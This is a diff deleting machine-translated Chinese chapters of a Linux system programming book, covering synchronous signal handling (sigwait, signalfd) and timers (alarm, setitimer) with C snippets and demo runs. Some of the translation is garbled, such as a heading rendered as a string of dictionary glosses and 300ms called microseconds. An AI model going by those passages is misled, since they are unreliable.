-(有趣的是:计算正在发送的实时信号和正在接收的信号之间的时间增量,分别用紫色和红色作为书签。 这大约是 300ms(微秒)。) - -LTTng 的详细信息不在本书的讨论范围内;请参阅 GitHub 存储库上的*进一步阅读*部分。 - -为了完整起见,我们还要注意以下发送信号的 API: - -* `pthread_kill(3)`:向同一进程内的特定线程发送信号的 API -* `tgkill(2)`:调用 API 向给定线程组内的特定线程发送信号 -* `tkill(2)`:tgkill 的前身已弃用 - -让我们暂时忽略这些;在本书后面的[第 14 章](14.html),*使用 PthreadsPart I-Essentials*进行多线程的上下文中,这些 API 变得更加相关。 - -# 可选的信号处理技术 - -到目前为止,在上一章以及关于信号的这一章中,我们已经看到并学会了使用几种关于异步捕获和处理信号的技术。 基本思想是:流程忙于执行其工作,运行其业务逻辑;信号突然到来;然而,流程必须处理它。 我们非常详细地了解了如何利用非常强大的`sigaction(2)`系统调用来做到这一点。 - -现在,我们以不同的方式来看待信号处理:同步处理信号,即如何让进程(或线程)等待(阻塞)信号,并在信号到达时对其进行处理。 - -接下来的关于多线程的章节将提供一些相同的用例。 - -# 同步等待信号 - -乍一看,以及传授信号的传统方式,似乎由于信号在本质上是高度异步的,为什么要试图同步阻止所传递的信号呢? 嗯,现实是:在大型项目中执行健壮的信号处理是一件很难正确和一致地做的事情。 很多复杂性源于信号-异步安全问题;我们不允许在信号处理程序中使用任何 API;只有相对较小的 API 子集被认为是信号-异步安全的,并且是可行的。 这在大型程序中增加了很大的障碍,当然,有时程序员会无意中导致缺陷(Bug)(这也是在测试过程中难以捕获的缺陷)。 - -当使用信号安全需求设计消除整个异步信号处理程序时,这些信号处理困难几乎就消失了。 多么?。 通过同步阻塞信号,当信号到达时,当场处理它们。 - -因此,本节的目标是教给初出茅庐的系统程序员这些重要的概念(以及它们的 API);学习使用这些概念可以显著减少奇怪之处和错误。 - -Linux OS 上存在许多用于执行同步信号处理的有用机制;让我们从简单但有用的`pause(2)`系统调用开始。 - -# 请稍等片刻 - -暂停调用是阻塞调用的一个很好的例子;当进程调用此 API 时,它会阻塞,也就是进入睡眠状态,等待事件;事件:任何信号的到达都会影响到它。 信号一到,暂停时间就会被解除,继续执行。当然,致命信号的传递会导致毫无戒备的进程死亡: - -```sh -include - int pause(void); -``` - -自始至终,我们都说过,检查系统对其故障情况的调用`-1`被认为是非常重要的:这是一个应该始终遵循的最佳实践。 `pause(2)`抛出了一个有趣的异常情况:它似乎是一个总是返回`-1 `的系统调用,并且将 errno_ 设置为中断的系统调用的值`EINTR`(当然,中断就是信号)。 - -因此,我们通常对暂停进行如下编码: - -```sh -(void)pause(); -``` - -对`void`命令的类型转换是为了通知编译器和静态分析器等工具,我们并不真正关心暂停的返回值。 - -# 永远等待或直到信号到达 - -通常,人们希望永远等待,或者等到信号到来。 要做到这一点,一种方法是对 CPU 代码进行非常简单但非常糟糕、极其昂贵的旋转,如下所示: - -```sh -while (1); -``` - -啊! 那太难看了:请不要那样写代码! - -稍微好了一点,但仍然相当糟糕,是这样的: - -```sh -while (1) - sleep(1); -``` - -暂停按钮可用于有效和高效地设置一个有用的等待,直到我永远或直到我收到任何语义信号,如下所示: - -```sh -while (1) - (void)pause(); -``` - -这种语义对此非常有用,无论是永远等待还是直到我在任何情况下收到任何信号,因为它很便宜(几乎不会占用任何 CPU,因为`pause(2)`会让调用者立即进入睡眠状态),并且只有在信号到达时才会被解锁。 然后,整个场景重复(当然是由于无限循环)。 - -# 通过 SigWait**API 同步阻止信号 - -接下来,我们将简要访问一组相关函数,即 SigWait**API;它们如下所示: - -* `sigwait(3)` -* `sigwaitinfo(2)` -* `sigtimedwait(2)` - -所有这些 API 都允许进程(或线程)在传递一个或多个信号时进行阻塞(等待)。 - -# Sigwait 库 API - -让我们从`sigwait(3)`开始: - -```sh -include - int sigwait(const sigset_t *set, int *sig); -``` - -Signal`sigwait(3)`库 API 允许进程(或线程)阻塞、等待,直到信号集`set`中的任何异常信号等待传递给它。 信号到达的那一刻,信号`sigwait `被解锁;到达的特定信号,即其整数值,被放入值-结果第二个参数`sig`中。 在幕后,命令 sigwait 从挂起的进程(或线程)掩码中删除刚刚传递的信号。 - -因此,新的`sigwait(3)`版本具有以下优点,因此对版本`pause(2)`版本是有利的: - -* 您可以等待将特定信号传递给进程 -* 当这些信号中的一个被传递时,它的值是已知的 - -成功时的返回值为`0`,出错时返回值为正值(请注意,它是库 API,因此不受影响)。 (在内部,`sigwait(3)`接口是通过`sigtimedwait(2)`API 实现的。) - -然而,事情并不总是像乍看起来那么简单。 现实情况是,有几个重要的问题需要考虑: - -* 如果一个人打算等待的信号没有首先被调用进程阻止,则可以设置称为竞争的危险情况。 (从技术上讲,这是因为在传递给进程的信号和正在初始化的 SigWait 调用之间存在机会之窗)。 不过,一旦运行,SigWait 程序将自动解除对信号的阻塞,允许它们在调用者进程中传递。 -* 如果信号(我们定义的信号集中的信号)也通过`sigaction(2)`接口或`signal(2)`接口以及`sigwait(3)`接口被捕获(捕获),该怎么办? 在这种情况下,POSIX 标准规定,如何处理传递的信号由 Linux 实现决定;Linux 似乎倾向于通过`sigwait(3)`处理信号。 (这是有意义的:如果一个进程发出了 SigWait API,则该进程会阻塞信号。 如果某个信号在进程上确实处于挂起状态(即,它刚刚被传递),则 ssigwait API 会吸收或使用该信号:它现在不再等待进程上的传递,因此不能通过通过`sigaction(2)`或`signal(3)`API 设置的信号处理程序来捕获。) - -为了测试这一点,我们编写了一个小应用`ch12/sigwt/sigwt.c`以及一个 shell 脚本`ch12/sigwt/bombard.sh`,以便将所有信号传递到它上面。 (读者将一如既往地在本书的 GitHub 存储库中找到代码;这一次,我们将把它作为练习留给读者来研究源代码,并对其进行实验。)。 下面是几个示例运行: - -在一个终端窗口中,我们按如下方式运行`sigwt`*和*程序: - -```sh -$ ./sigwt -Usage: ./sigwt 0|1 - 0 => block All signals and sigwait for them - 1 => block all signals except the SIGFPE and SIGSEGV and sigwait - (further, we setup an async handler for the SIGFPE, not the SIGSEGV) -$ ./sigwt 0 -./sigwt: All signals blocked (and only SIGFPE caught w/ sigaction) -[SigBlk: 1 2 3 4 5 6 7 8 10 11 12 13 14 15 16 17 18 20 21 22 23 24 25 26 27 28 29 30 31 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 ] -./sigwt: waiting upon signals now ... -``` - -注意我们是如何首先阻塞所有信号的(通过`sigprocmask(2)`;我们调用我们的泛型函数`common.c:show_blocked_signals()`来显示进程信号掩码中当前阻塞的所有信号;正如预期的那样,所有信号都被阻塞,除了 9、19、32 和 33 号信号(为什么?)明显例外)。回想一下,一旦运行,`sigwait(3)`将自动解除对信号的阻塞,允许它们传递给调用者。 - -在另一个终端窗口中,运行 shell 脚本;该脚本的任务很简单:它发送(通过`kill(1)`)每个信号-从 1 到 64(除了`SIGKILL (9)`、`SIGSTOP (19)`、32 和 33)-这两个 RT 信号保留供 pthread 框架使用: - -```sh -$ ./bombard.sh $(pgrep sigwt) 1 -Sending 1 instances each of ALL signals to process 2705 -1 2 3 4 5 6 7 8 10 11 12 13 14 15 16 17 18 20 21 22 23 24 25 26 27 28 29 30 31 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 -$ -``` - -在原始窗口中,我们观察到输出: - -```sh -Received signal# 1 -Received signal# 2 -Received signal# 3 -Received signal# 4 -Received signal# 5 -Received signal# 6 -Received signal# 7 -Received signal# 8 -Received signal# 10 -Received signal# 11 -[...] -Received signal# 17 -Received signal# 18 -Received signal# 20 -Received signal# 21 -[...] -Received signal# 31 -Received signal# 34 -Received signal# 35 -Received signal# 36 -Received signal# 37 -[...] -Received signal# 64 -``` - -所有传递的信号都是通过 SigWait 处理的! 包括 SIGFPE(#8)和 SIGSEGV(#11)。 这是因为它们是由另一个进程(shell 脚本)同步发送的,而不是由内核发送的。 - -一个快速的`pkill(1)`命令就会结束签名过程(好像有人需要提醒:SIGKILL 和 SIGSTOP 不能完全被屏蔽): - -```sh -pkill -SIGKILL sigwt -``` - -现在,对于下一个测试用例,使用选项`1`运行它: - -```sh -$ ./sigwt -Usage: ./sigwt 0|1 - 0 => block All signals and sigwait for them - 1 => block all signals except the SIGFPE and SIGSEGV and sigwait - (further, we setup an async handler for the SIGFPE, not the SIGSEGV) $ ./sigwt 1 -./sigwt: removing SIGFPE and SIGSEGV from the signal mask... -./sigwt: all signals except SIGFPE and SIGSEGV blocked -[SigBlk: 1 2 3 4 5 6 7 10 12 13 14 15 16 17 18 20 21 22 23 24 25 26 27 28 29 30 31 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 ] -./sigwt: waiting upon signals now ... -``` - -请注意,8 号信号(`SIGFPE`)和 11 号信号(`SIGSEGV`)不在现在被阻塞的其余信号之列(除了常见的可疑信号 9、19、32、33)。 回想一下,一旦运行,`sigwait(3)`将自动解锁信号,允许它们传递给调用者。 - -在另一个终端窗口中,运行 shell 脚本: - -```sh -$ ./bombard.sh $(pgrep sigwt) 1 -Sending 1 instances each of ALL signals to process 13759 -1 2 3 4 5 6 7 8 10 11 ./bombard.sh: line 16: kill: (13759) - No such process -bombard.sh: "kill -12 13759" failed, loop count=1 -$ -``` - -在原始窗口中,我们观察到输出: - -```sh -Received signal# 1 -Received signal# 2 -Received signal# 3 -Received signal# 4 -Received signal# 5 -Received signal# 6 -Received signal# 7 -*** siggy: handled SIGFPE (8) *** -Received signal# 10 -Segmentation fault (core dumped) -$ -``` - -当我们捕获`SIGFPE`(通过`sigaction(2)`)时,它被处理了;然而,未捕获的`SIGSEGV`当然会导致过程异常死亡。 一点也不令人愉快。 - -稍微修改一下代码就会发现一个有趣的方面;原始代码片段如下: - -```sh -[...] -if (atoi(argv[1]) == 1) { - /* IMP: unblocking signals here removes them from the influence of - * the sigwait* APIs; this is *required* for correctly handling - * fatal signals from the kernel. - */ - printf("%s: removing SIGFPE and SIGSEGV from the signal mask...\n", argv[0]); - sigdelset(&set, SIGFPE); -#if 1 - sigdelset(&set, SIGSEGV); -#endif -[...] -``` - -如果我们通过将前面的`#if 1`更改为`#if 0`来有效地阻止`SIGSEGV`,会怎么样? 让我们这样做,重新构建,然后重试: - -```sh -[...] -Received signal# 1 -Received signal# 2 -Received signal# 3 -Received signal# 4 -Received signal# 5 -Received signal# 6 -Received signal# 7 -*** siggy: handled SIGFPE (8) *** -Received signal# 10 -Received signal# 11 -Received signal# 12 -[...] -``` - -这一次 SIGSEGV 是通过 sigWait 处理的!是的,确实是这样;但这只是因为它是由进程人为生成的,而不是由操作系统发送的。 - -因此,像往常一样,还有更多的事情要做:信号处理的具体方式由以下几点决定: - -* 在调用 SigMASK 命令(或变体)之前,该进程是否阻塞信号 -* 对于致命信号(如`SIGILL`、`SIGFPE`、`SIGSEGV`、`SIGBUS`等),关键在于信号是如何生成的:人工生成、仅通过进程生成(`kill(2)`)或实际通过内核生成(由于某种错误) -* 我们发现了以下内容: - * 如果在调用 SigWait 之前信号被进程阻塞,那么,如果信号是通过`kill(2)`命令(或变体)人工传送的,则在传送信号时,`sigwait`命令将被解锁,应用开发人员可以处理该信号。 - * 然而,如果致命信号是由于错误而通过操作系统传递的,那么,无论进程是否阻止它,默认操作都会发生,突然(并且可耻地)终止进程! 这可能不是人们想要的;因此,我们得出结论,最好是通过通常的异步`sigaction(2)`样式捕获像前面这样的致命信号,而不是通过 Sigwait(或其变体)。 - -# _sigwaitinfo 和 sigtimedWait 系统调用 - -`sigwaitinfo(2)`的系统调用类似于 sigwait:提供了一组要注意的信号,该函数会让调用者进入睡眠状态,直到这些信号(在集合中)中的任何一个都挂起。 以下是它们的原型: - -```sh -#include -int sigwaitinfo(const sigset_t *set, siginfo_t *info); -int sigtimedwait(const sigset_t *set, siginfo_t *info, - const struct timespec *timeout); -``` - -在返回方面,SigWait API 能够为我们提供传递给调用进程的信号的信号号。 但是,回想一下,`sigaction(2)`API 还有一个强大得多的功能--在`siginfo_t`API 数据结构中返回有价值的诊断和其他信息的能力。 嗯,这正是`sigwaitinfo(2)`的系统调用所提供的! (我们在前面用`SA_SIGINFO`详细介绍信息的一节中介绍了`siginfo_t`的结构以及您可以从中解释的内容。) - -那他`sigtimedwait(2)`呢? 这一点非常明显;除了有一个额外的参数-超时值之外,它与 API`sigwaitinfo(2)`完全相同。 因此,该函数将阻塞调用方,直到集合中的一个信号挂起,或者超时到期(以最先发生的为准)。 超时是通过一个简单的`timespec`结构指定的,它允许用户以秒和纳秒为单位提供时间: - -```sh -struct timespec { - long tv_sec; /* seconds */ - long tv_nsec; /* nanoseconds */ -} -``` - -如果该结构的 Memset 为零,则函数`sigtimedwait(2)`立即返回,返回有关挂起的信号或错误值的信息。 如果成功,则返回实际信号编号;如果失败,则返回`-1`,并适当设置了`errno`。 - -An important point to note (it has been mentioned previously, but it's key): neither the `sigwait`, `sigwaitinfo`, or `sigtimedwait` APIs can wait for synchronously generated signals from the kernel; typically the ones that indicate a failure of some sort, like the `SIGFPE` and the `SIGSEGV`. These can only be caught in the normal asynchronous fashion—via `signal(2)` or `sigaction(2)`. For such cases, as we have repeatedly shown, the` sigaction(2)` system callwould be the superior choice. - -# Signalfd(2)API - -读者可能还记得,在[第 1 章](01.html),*Linux 系统体系结构*中,在标题为*Unix 哲学简而言之*的一节中,我们阐明了 Unix 哲学的基石是: - -在 Unix 上,一切都是进程;如果不是进程,那就是文件。 - -有经验的 Unix 和 Linux 开发人员非常习惯这样的想法(实际上是抽象的),就像对待文件一样对待事物;这包括设备、管道和套接字。 为什么不打信号呢? - -这正是`signalfd(2)`系统调用背后的思想;使用`signalfd`,您可以创建一个 API 文件描述符,并将其与信号集相关联。现在,应用程序员可以自由地使用各种熟悉的基于文件的 API 来监视信号-其中包括 API`read(2)`、`select(2)`和`poll(2)`(及其变体),以及 API`close(2)`。 - -此外,与我们介绍的`sigwait*`系列 API 类似,`signalfd`也是让进程(或线程)在信号上同步阻塞的另一种方式。 - -如何使用`signalfd(2)`接口?其签名如下: - -```sh -#include -int signalfd(int fd, const sigset_t *mask, int flags); -``` - -第一个参数`fd`要么是现有的信号描述符,要么是值-1。 当传递-1 时,系统调用创建一个新的信号文件描述符(显然我们应该首先以这种方式调用它)。 掩码的第二个参数是信号`mask`-该信号描述符将与之关联的一组信号。 与之前的 SigWait**API 一样,人们预计会阻止这些信号(通过`sigprocmask(2)`)。 - -重要的是要理解,`signalfd(2)`系统调用本身并不是阻塞调用。 阻塞行为仅在调用与文件相关的 API 时才起作用,如文件`read(2)`、文件`select(2)`、文件或文件`poll(2)`。 只有到那时,呼叫者才会进入睡眠状态。 一旦集合中的一个信号被传递给调用进程(或者已经挂起),与文件相关的 API 就会返回。 - -`signalfd(2)`值的第三个参数是`flags`值-这是一种更改默认行为的方法。 只有从 Linux 内核版本 2.6.27 开始,才能使这些标志正常工作;可能的值如下所示: - -* `SFD_NONBLOCK`:在信号描述符上使用非阻塞的 I/O 语义(相当于`fcntl(2)`和`O_NONBLOCK`)。 -* `SFD_CLOEXEC`:如果进程曾经执行过另一个进程(通过 Exec 系列 API),请确保信号描述符已关闭(这对安全性有好处,否则,所有先前进程的打开文件都会在执行操作中继承到后续进程;它相当于`open(2)`和`FD_CLOEXEC`)。 - -在返回值方面,如果成功,则返回新创建的信号描述符;当然,如果第一个参数为-1,则返回-1。 如果不是,那么它应该是一个已经存在的信号描述符;然后,如果成功,则返回此值。 出现故障时,通常会返回`-1`,并使用`errno`变量反映诊断结果。 - -这里,我们将讨论如何使用`signalfd(2)`函数,仅限于通过熟悉的`read(2)`函数系统调用读取信号信息;这一次是在函数`signalfd`函数 API 返回的信号描述符上。 - -简而言之,`read(2)`命令的工作方式(`read(2)`在[附录 A](https://www.packtpub.com/sites/default/files/downloads/File_IO_Essentials.pdf),*File I/O Essentials*中有详细介绍):我们指定要读取的文件(在本例中为信号)描述符作为第一个参数,指定放置刚读取的数据的缓冲区作为第二个参数,指定要读取的最大字节数作为第三个参数: - -```sh -ssize_t read(int fd, void *buf, size_t count); -``` - -These are the common typdefs:`size_t` is essentially an unsigned long (integer)  -`ssize_t` is essentially a signed long (integer) - -这里的第二个参数是特殊的:指向(一个或多个)类型为`signalfd_siginfo`的结构的指针。 结构`signalfd_siginfo`非常类似于我们在前面部分中详细介绍的结构`siginfo_t`,但结构是*的 siginfo_t 结构*。 有关到达的信号的详细信息将在此处填写。 - -We leave it to the interested reader to glean the details of the `signalfd_siginfo` data structure from the man page on `signalfd(2)` here: [https://linux.die.net/man/2/signalfd](https://linux.die.net/man/2/signalfd). The page also contains a small example program. - -要读取的第三个参数(即大小)在本例中必须至少为 sizeof(`signalfd_siginfo`)字节。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,读者已经了解了有关信号的一些高级细节:如何通过适当的致命信号捕获来处理崩溃进程,以及一旦进入处理程序,就会获得包括 CPU 寄存器在内的关键详细信息,等等。 这是通过学习解释强大的`siginfo_t`数据结构来实现的。 此外,还介绍了在使用`errno`变量时处理比赛,以及学习如何正确睡眠。 - -讨论了实时信号及其与常规 Unix 信号的区别;然后,有一节介绍了向其他进程发送信号的不同方式。 最后,我们介绍了通过同步阻塞给定的一组信号(使用各种 API)进行的信号处理。 - -在接下来的[第 13 章](13.html)、*定时器*、*和*中,我们将利用我们在这里(以及前面)[第 11 章](11.html)、*信号-第一部分*中学到的知识,并学习如何有效地设置和使用定时器。 \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/13.md b/docs/handson-sys-prog-linux/13.md deleted file mode 100644 index e2762915..00000000 --- a/docs/handson-sys-prog-linux/13.md +++ /dev/null @@ -1,1359 +0,0 @@ -# 十三、定时器 - -定时器让我们能够设置一个工件,一旦指定的时间到期,操作系统就会通知我们,这是一个无处不在的应用(甚至是内核)功能。 当然,计时器通常只有在与应用逻辑并行运行时才有用;这种异步通知行为是通过不同的方式实现的,通常是通过让内核向相关进程发送信号来实现的。 - -在本章中,我们将探索 Linux 上可用于设置和使用计时器的接口。 这些接口分为两大类-较旧的 API(`alarm(2)`、`[get|set]itimer(2)`)和闪亮、较新的 POSIX API(`timer_create(2)`、`timer_[set|get]time(2)`,依此类推*)*。 当然,由于信号与计时器一起大量使用,我们也利用了信号接口。 - -我们还想指出,由于计时器的内在动态特性,在书中静态查看我们的示例程序的输出是不够的;像往常一样,我们肯定会敦促读者克隆本书的 GitHub 存储库并亲自尝试代码。 - -在本章中,读者将学习如何使用 Linux 内核提供的各种定时器接口(API)。 我们从较旧的版本开始,尽管它们有局限性,但随着需要的增加,它们仍然在系统软件中大量使用。 使用这些 API 编写和分析一个简单的**命令行界面**(**CLI**)专用的数字时钟程序。 然后,我们将读者转到更新、功能更强大的 POSIX 计时器 API 集。 我们展示并研究了两个非常有趣的示例程序--一个“你能有多快反应”游戏和一个跑步-步行间隔计时器应用。 最后,我们简要介绍一下通过文件抽象使用计时器 API,以及什么是看门狗计时器。 - -# 较旧的接口 - -如前所述,较旧的接口包括以下接口: - -* `alarm(2)`系统调用 -* 间隔计时器*和*`[get|set]itimer(2)`*和*系统调用 API - -让我们从第一个开始。 - -# 好久不见的闹钟 - -`alarm(2)`*和*系统调用允许进程设置简单的超时机制;其签名如下: - -```sh -#include -unsigned int alarm(unsigned int seconds); -``` - -事实上,这是不言而喻的。 让我们举一个简单的例子:一个进程想要设置一个计时器,该计时器将在三秒后到期,因此`alarm(3)`实质上是用于执行此操作的代码。 - -上述代码中到底发生了什么? 在发出警报和系统调用的三秒后(即,在定时器被激活之后),内核将向进程发送信号`SIGALRM`。 - -The default action of `SIGALRM` (signal # 14 on x86) is to terminate the process. - -因此,我们希望开发人员捕获信号(通过`sigaction(2)`系统调用)将是最好的,正如前面的[第 11 章](11.html)、*Signating-Part I*和[第 12 章](12.html)、*Signating-II*中深入讨论的那样。 - -如果告警接口的参数输入为`0`,则取消任何挂起的`alarm(2)`(实际上,在调用告警接口时,任何情况下都会发生这种情况)。 - -请注意,对于系统调用而言,异常的 Alarm API 返回一个无符号整数(因此无法返回`-1`,这是常见的失败情况)。 相反,它返回任何先前编程超时的秒数,如果没有挂起,则返回零。 - -下面是一个演示`alarm(2)`基本用法的简单程序(`ch13/alarm1.c`);该参数指定超时的秒数。 - -For readability, only the key parts of the source code are displayed in the following; to view the complete source code, build it, and run it, the entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -信号捕获和定时器报警代码如下所示: - -```sh -[...] -/* Init sigaction to defaults via the memset, - * setup 'sig_handler' as the signal handler function, - * trap just the SIGALRM signal. - */ - memset(&act, 0, sizeof(act)); - act.sa_handler = sig_handler; - if (sigaction(SIGALRM, &act, 0) < 0) - FATAL("sigaction on SIGALRM failed"); - - alarm(n); - printf("A timeout for %ds has been armed...\n", n); - pause(); /* wait for the signal ... */ -``` - -一旦内核将`SIGALRM`信号分派给进程,即一旦计时器超时,会发生什么情况? 当然,信号处理程序会运行。 这里是: - -```sh -static void sig_handler(int signum) -{ - const char *str = " *** Timeout! [SIGALRM received] ***\n"; - if (signum != SIGALRM) - return; - if (write(STDOUT_FILENO, str, strlen(str)) < 0) - WARN("write str failed!"); -} -``` - -下面是一个快速构建和测试运行: - -```sh -$ make alarm1 -gcc -Wall -UDEBUG -c ../common.c -o common.o -gcc -Wall -UDEBUG -c alarm1.c -o alarm1.o -gcc -Wall -UDEBUG -o alarm1 alarm1.o common.o -$ ./alarm1 -Usage: ./alarm1 seconds-to-timeout(>0) -$ ./alarm1 3 -A timeout for 3s has been armed... - *** Timeout! [SIGALRM received] *** *<< 3 seconds later! >>* -$ -``` - -现在,我们增强了前面的代码(`ch13/alarm1.c`),使超时持续重复(源文件是`ch13/alarm2_rep.c`);相关的代码片段(与前面的代码相比已更改)如下所示: - -```sh -[...] -alarm(n); -printf("A timeout for %ds has been armed...\n", n); -/* (Manually) re-invoke the alarm every 'n' seconds */ -while (1) { - pause(); /* wait for the signal ... */ - alarm(n); - printf(" Timeout for %ds has been (re)armed...\n", n); -} -[...] -``` - -虽然在这里不适用,但要知道调用`alarm(2)`*和*会自动取消任何先前挂起的超时。 快速试运行如下: - -```sh -$ ./alarm2_rep 1 -A timeout for 1s has been armed... - *** Timeout! [SIGALRM received] *** - Timeout for 1s has been (re)armed... - *** Timeout! [SIGALRM received] *** - Timeout for 1s has been (re)armed... - *** Timeout! [SIGALRM received] *** - Timeout for 1s has been (re)armed... - *** Timeout! [SIGALRM received] *** - Timeout for 1s has been (re)armed... -^C -$ -``` - -警报现在重复(在上面的示例运行中的每一秒)。 还要注意我们是如何用键盘*Ctrl*+*C*(传递`SIGINT`,因为我们没有捕获它,它只是终止前台进程)来终止进程的。 - -# Alarm API-降落器 - -现在我们已经了解了如何使用(简单化)的`alarm(2)`*和*API,重要的是要认识到它有几个缺点: - -* 非常粗粒度的超时(最少一秒,这在现代处理器上是非常长的时间!) -* 不可能并行运行多个超时 -* 以后无法查询或修改超时值-尝试这样做将取消超时值 -* 混用以下接口可能会导致问题/冲突(下文中,后一种接口可能会使用前者在内部实现) - * `alarm(2)``alarm(2)`和`setitimer(2)` - * `alarm(2)``alarm(2)`和`sleep(3)` -* 超时总是有可能晚于预期(超时) - -随着本章的进展,我们将发现更强大的功能可以克服大多数这些问题。 (公平地说,穷人`alarm(2)`*和*确实有一个优点:出于简单的目的,它非常快速且易于使用!) - -# 间隔计时器 - -间隔定时器 API 允许进程设置和查询定时器,该定时器可以被编程为以固定的时间间隔自动重现。 相关的系统调用如下: - -```sh -#include -int getitimer(int which, struct itimerval *curr_value); -int setitimer(int which, const struct itimerval *new_value, - struct itimerval *old_value); -``` - -很明显,参数`setitimer(2)`用于设置新的计时器;参数`getitimer(2)`用于查询,并返回剩余时间。 - -两者的第一个参数是`which`-它指定要使用的计时器类型。Linux 允许我们使用三种类型的间隔计时器: - -* `ITIMER_REAL`:使用此计时器类型进行实时倒计时,也称为挂钟时间。 在计时器超时时,内核向调用进程发送信号`SIGALRM`。 -* `ITIMER_VIRTUAL`:使用此计时器类型以虚拟时间进行倒计时;也就是说,计时器仅在调用进程(所有线程)在 CPU 上的用户空间中运行时才进行倒计时。 在计时器超时时,内核向调用进程发送信号`SIGVTALRM`。 -* `ITIMER_PROF`:使用此计时器类型也可以在虚拟时间内倒计时;这一次,当调用进程(所有线程)在 CPU 的用户空间和/或内核空间中运行时,计时器也会倒计时。 在计时器超时时,内核向调用进程发送信号`SIGPROF`。 - -因此,要让计时器在特定时间段到期时到期,请使用第一种计时器;可以使用剩下的两种类型来分析进程的 CPU 使用情况。 一次只能使用上述每种类型的一个计时器(更多信息将在后面介绍)。 - -下一个要检查的参数是`itimerval`数据结构(及其内部成员`timeval`和结构成员;两者都在`time.h`标题中定义): - -```sh -struct itimerval { - struct timeval it_interval; /* Interval for periodic timer */ - struct timeval it_value; /* Time until next expiration */ -}; - -struct timeval { - time_t tv_sec; /* seconds */ - suseconds_t tv_usec; /* microseconds */ -}; -``` - -(仅供参考,内部类型定义`time_t`和类型定义`suseconds_t`都会转换为长整型(整数)值。) - -正如我们看到的,这是`setitimer(2)`的第二个参数,它是一个指向 struct`itimerval`的指针,称为`new_value`,它是我们指定新计时器的到期时间的地方,例如: - -* 在成员的`it_value`结构中,放置第一个初始超时值。 该值随着计时器用完而减小,并且在某个时刻将达到零;此时,与计时器类型相对应的适当信号将被传递到调用进程。 -* 在上一步之后,检查`it_interval`结构和成员。 如果它是非零值,则该值将被复制到`it_value`结构中,从而使计时器有效地自动重置并在该时间量内再次运行;换句话说,这就是 API 履行间隔计时器角色的方式。 - -此外,显然,超时时间以秒表示:微秒。 - -例如,如果我们希望每秒重复(间隔)超时,则需要按如下方式初始化结构: - -```sh -struct itimerval mytimer; -memset(&mytimer, 0, sizeof(struct itimerval)); -mytimer.it_value.tv_sec = 1; -mytimer.it_interval.tv_sec = 1; -setitimer(ITIMER_REAL, &mytimer, 0); -``` - -(为清楚起见,前面的代码中没有显示错误检查代码。)。 这正是在下面的简单数字时钟演示程序中完成的。 - -存在几种特殊情况: - -* 要取消(或解除)计时器,请将`it_timer`结构的两个字段都设置为零,然后调用`setitimer(2)`API。 -* 要创建单次计时器(即正好过期一次的计时器),请将参数`it_interval`函数结构的两个字段初始化为零,然后调用函数`setitimer(2)`函数 API。 -* 如果`setitimer(2`)的第三个参数非空,则在此返回上一个计时器值(就像调用了`getitmer(2)`API 一样)。 - -通常,这对系统调用在成功时返回`0`,在失败时返回`-1`(适当设置了`errno`)。 - -由于每种类型的计时器到期时都会生成一个信号,因此在给定进程中只能同时运行每种计时器类型的一个实例。 如果我们尝试设置相同类型的多个计时器(例如,`ITIMER_REAL`),则始终有可能将同一信号的多个实例(在本例中为`SIGALRM`)同时传递给进程和相同的处理程序例程。 正如我们在[第 11 章](11.html)、*信号-第一部分*、*和[第 12 章](12.html)、*信号-第二部分*中了解到的,常规 Unix 信号不能排队,因此可能会丢弃信号实例。 实际上,在给定进程中同时使用每种类型的计时器中的一种是最好(也是最安全的)。* - -下表对比了我们之前看到的简单的` alarm(2)`个系统调用 API 和我们刚刚看到的功能更强大的`[set|get]itimer(2)`个间隔计时器 API: - -| **功能** | **简单计时器**[`alarm(2)`] | **间隔计时器**[`setitimer(2)`,`getitimer(2)`] | -| 粒度(分辨率) | 非常粗糙;1 秒 | 精细粒度;理论上为 1 微秒(实际上,通常比 2.6.16 HRT[1]早几毫秒) | -| 查询剩余时间 | 不可能 | 是的,有`getitimer(2)` | -| 修改超时 | 不可能 | 肯定的回答 / 赞成 / 是 | -| 取消超时超时 | 肯定的回答 / 赞成 / 是 | 肯定的回答 / 赞成 / 是 | -| 自动重复 | 不能,但可以手动设置 | 肯定的回答 / 赞成 / 是 | -| 多个计时器 | 不可能 | 可以,但每个进程最多三个-每种类型(真实、虚拟和分析)各一个 | - -Table 1 : A quick comparison of the simple alarm(2)API and interval timers - -[1]**高分辨率定时器**(**HRT**);在 Linux 2.6.16 及更高版本中实现。 在有关 GitHub 存储库的*进一步阅读*部分中,请参阅有关这方面的详细论文的链接。 - -没有应用的知识是什么? 让我们来试用一下间隔计时器 API。 - -# 一个简单的 CLI 数字时钟 - -我们人类已经习惯于看着时钟滴答滴答地流逝,一次一秒。 为什么不写一个快速的 C 程序来模仿一个(非常简单的命令行)数字时钟,它必须每秒显示正确的日期和时间! (嗯,就我个人而言,我更喜欢看到老式的模拟时钟,但是,嘿,这本书没有涉及用 X11 进行图形绘制的秘密咒语。) - -我们如何实现这一点非常简单,真的:我们设置了一个时间间隔计时器,每秒钟超时一次。 下面的程序(`ch13/intv_clksimple.c`)演示了相当强大的`setitimer(2)`API 的基本用法。 - -For readability, only key parts of the source code are displayed in the following; to view the complete source code, build it, and run it, the entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -单秒间隔定时器的信号捕获和设置如下所示: - -```sh -static volatile sig_atomic_t opt; -[...] -int main(int argc, char **argv) -{ - struct sigaction act; - struct itimerval mytimer; -[...] - memset(&act, 0, sizeof(act)); - act.sa_handler = ticktock; - sigfillset(&act.sa_mask); /* disallow all signals while handling */ - /* - * We deliberately do *not* use the SA_RESTART flag; - * if we do so, it's possible that any blocking syscall gets - * auto-restarted. In a timeout context, we don't want that - * to happen - we *expect* a signal to interrupt our blocking - * syscall (in this case, the pause(2)). - * act.sa_flags = SA_RESTART; - */ - if (sigaction(SIGALRM, &act, 0) < 0) - FATAL("sigaction on SIGALRM failed"); - /* Setup a single second (repeating) interval 